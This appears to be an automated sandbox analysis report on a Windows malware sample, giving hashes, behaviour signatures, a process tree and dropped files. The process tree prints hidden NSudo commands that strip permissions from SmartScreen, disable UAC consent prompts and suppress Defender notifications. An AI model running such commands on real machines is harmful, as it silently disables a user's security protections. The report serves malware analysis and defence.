0d9fcb8894240750cb5e4222ea78572aba6618eb5297c2069588ceb979d52d8b

Resubmissions

13-07-2024 09:54

240713-lxcvgawdmn 10

13-07-2024 09:52

240713-lv46yawdkj 10

13-07-2024 09:46

240713-lrz3tayajc 10

Analysis

max time kernel
837s
max time network
841s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
13-07-2024 09:52

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General

Target

f244a04265405ae8295551a1324c6dc3162d611b4a152658096d675a31a57d35.exe
Size

3.8MB
MD5

15995b0b1fc5dd82f1c3ba1b7b40c5d4
SHA1

3b6a4a5b8b1107854e35b01cd28b4cce7a003413
SHA256

f244a04265405ae8295551a1324c6dc3162d611b4a152658096d675a31a57d35
SHA512

4ebe82a5d5d499eab10c9049647283976d95f102b24b2113bd59309ea107fb6cf8671640651e7d7cf13435e516c6d2dcbfe3a2fc8a8ed917398b3d86f6a77781
SSDEEP

49152:aApBOr1sU6uEgjhlOCDw8mEFAuYg2OWpTMqBx+fdTmG2Y4MT9ffD+CzKcbmoivTN:

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 4 IoCs

Processes:

NSudo.exeNSudo.exeNSudo.exe

pid process

3000 NSudo.exe
1228
2640 NSudo.exe
2612 NSudo.exe
Loads dropped DLL 3 IoCs

Processes:

cmd.exe

pid process

2748 cmd.exe
2748 cmd.exe
2748 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

NSudo.exeNSudo.exeNSudo.exe

pid process

3000 NSudo.exe
3000 NSudo.exe
2640 NSudo.exe
2640 NSudo.exe
2612 NSudo.exe
2612 NSudo.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

NSudo.exe

pid process

2612 NSudo.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

NSudo.exeNSudo.exeNSudo.exe

description pid process

Token: 18446744065119617044 3000 NSudo.exe
Token: 18446744065119617044 2640 NSudo.exe
Token: 18446744065119617044 2612 NSudo.exe

pid	process
3000	NSudo.exe
1228
2640	NSudo.exe
2612	NSudo.exe

pid	process
2748	cmd.exe
2748	cmd.exe
2748	cmd.exe

pid	process
3000	NSudo.exe
3000	NSudo.exe
2640	NSudo.exe
2640	NSudo.exe
2612	NSudo.exe
2612	NSudo.exe

pid	process
2612	NSudo.exe

description	pid	process
Token: 18446744065119617044	3000	NSudo.exe
Token: 18446744065119617044	2640	NSudo.exe
Token: 18446744065119617044	2612	NSudo.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

f244a04265405ae8295551a1324c6dc3162d611b4a152658096d675a31a57d35.execmd.exe

description	pid	process	target process
PID 2724 wrote to memory of 2748	2724	f244a04265405ae8295551a1324c6dc3162d611b4a152658096d675a31a57d35.exe	cmd.exe
PID 2724 wrote to memory of 2748	2724	f244a04265405ae8295551a1324c6dc3162d611b4a152658096d675a31a57d35.exe	cmd.exe
PID 2724 wrote to memory of 2748	2724	f244a04265405ae8295551a1324c6dc3162d611b4a152658096d675a31a57d35.exe	cmd.exe
PID 2748 wrote to memory of 2900	2748	cmd.exe	cacls.exe
PID 2748 wrote to memory of 2900	2748	cmd.exe	cacls.exe
PID 2748 wrote to memory of 2900	2748	cmd.exe	cacls.exe
PID 2748 wrote to memory of 3000	2748	cmd.exe	NSudo.exe
PID 2748 wrote to memory of 3000	2748	cmd.exe	NSudo.exe
PID 2748 wrote to memory of 3000	2748	cmd.exe	NSudo.exe
PID 2748 wrote to memory of 2640	2748	cmd.exe	NSudo.exe
PID 2748 wrote to memory of 2640	2748	cmd.exe	NSudo.exe
PID 2748 wrote to memory of 2640	2748	cmd.exe	NSudo.exe
PID 2748 wrote to memory of 2612	2748	cmd.exe	NSudo.exe
PID 2748 wrote to memory of 2612	2748	cmd.exe	NSudo.exe
PID 2748 wrote to memory of 2612	2748	cmd.exe	NSudo.exe

C:\Users\Admin\AppData\Local\Temp\f244a04265405ae8295551a1324c6dc3162d611b4a152658096d675a31a57d35.exe
"C:\Users\Admin\AppData\Local\Temp\f244a04265405ae8295551a1324c6dc3162d611b4a152658096d675a31a57d35.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2724

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\prorun.bat"
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2748

C:\Windows\system32\cacls.exe
"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
3⤵
PID:2900

C:\Users\Admin\AppData\Local\Temp\NSudo.exe
NSudo -U:T -ShowWindowMode:Hide icacls " \System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3000

C:\Users\Admin\AppData\Local\Temp\NSudo.exe
NSudo -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2640

C:\Users\Admin\AppData\Local\Temp\NSudo.exe
NSudo -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:2612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\prorun.bat

Filesize
2KB

MD5
0f887625226181fb0136e6145919e56a

SHA1
1477b214aafcf9a518f7a13832da00d639f22943

SHA256
8706ff21236560835dff325f9ed3f32a96c3964806b04b49fff9b20e1df856d8

SHA512
81a68c2addd5bfd9a913f70352dafd643013f61ec42b3e9943caffc6f7e80a9521f70e69c13e9ab1c170cbdb4f1d2920384cacb3cbebab58d5dbb61574f44b7b

Download Submit
\Users\Admin\AppData\Local\Temp\NSudo.exe

Filesize
247KB

MD5
5cae01aea8ed390ce9bec17b6c1237e4

SHA1
3a80a49efaac5d839400e4fb8f803243fb39a513

SHA256
19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

SHA512
c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

Download Submit
memory/2724-0-0x000007FEF5AB3000-0x000007FEF5AB4000-memory.dmp

Filesize
4KB

Download
memory/2724-1-0x0000000000A70000-0x0000000000E46000-memory.dmp

Filesize
3.8MB

Download
memory/2724-16-0x000007FEF5AB3000-0x000007FEF5AB4000-memory.dmp

Filesize
4KB

Download